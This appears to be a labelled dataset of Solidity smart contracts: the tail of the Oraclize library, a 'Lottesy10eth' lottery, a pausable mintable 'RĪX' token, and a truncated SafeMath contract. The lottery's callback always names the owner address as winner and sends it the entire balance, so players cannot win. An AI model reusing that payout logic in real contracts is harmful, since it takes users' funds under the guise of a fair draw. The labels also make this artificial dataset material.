bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Lottesy10eth is usingOraclize {
address LottesyAddress = 0x1EE61945aEE02B15154AB4A5824BA80eC8Ed6F4e;
address public theWinner;
uint public drawingNo = 1;
uint public chanceNo;
uint public winningChance;
uint public globalChanceNo;
uint public forLottesy;
uint public chancesBought;
uint public theWinnernumber;
uint public newGlobalChanceNo;
uint public oraclizeGas = 300000;
uint public randomNumber;
uint public maxRange;
bool public previousDrawingClosed = true;
bool public isClosed = false;
bool public proofVerifyFailed = false;
bool public gotResult = false;
mapping (uint => address) public globChanceOwner;
mapping (uint => address) public winners;
mapping (uint => uint) public drWinChances;
function () payable ifNotClosed {
oraclize_setCustomGasPrice(20000000000 wei);
oraclize_setProof(proofType_Ledger);
uint N = 2;
uint delay = 0;
uint callbackGas = oraclizeGas;
previousDrawingClosed = false;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) {
gotResult = true;
if (msg.sender != oraclize_cbAddress()) throw;
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
proofVerifyFailed = true;
throw;
} else {
maxRange = 2**(8*2);
randomNumber = uint(sha3(_result)) % maxRange;
winningChance = uint(((((randomNumber+60)*10000)/65535)*1100)/10000);
theWinnernumber = (drawingNo-1)*1100 + winningChance;
winners[drawingNo] = LottesyAddress;
drWinChances[drawingNo] = winningChance;
chanceNo++;
forLottesy = (this.balance);
LottesyAddress.transfer (forLottesy);
drawingNo++;
previousDrawingClosed = true;
}
}
modifier onlyOwner() {
if (msg.sender != LottesyAddress) {
throw;
}
_;
}
modifier ifNotClosed () {
if (isClosed == true) {
throw;
}
_;
}
function emergencyWithdrawal () onlyOwner {
LottesyAddress.transfer (this.balance);
}
function addSomeGas () onlyOwner {
oraclizeGas += 300000;
}
function closeIt () onlyOwner {
isClosed = true;
}
function emergencyDrawingReset () onlyOwner {
oraclize_setProof(proofType_Ledger);
uint N = 2;
uint delay = 0;
uint callbackGas = oraclizeGas;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
}
} | 0 | 999 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RĪX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,431 |
pragma solidity ^0.4.23;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
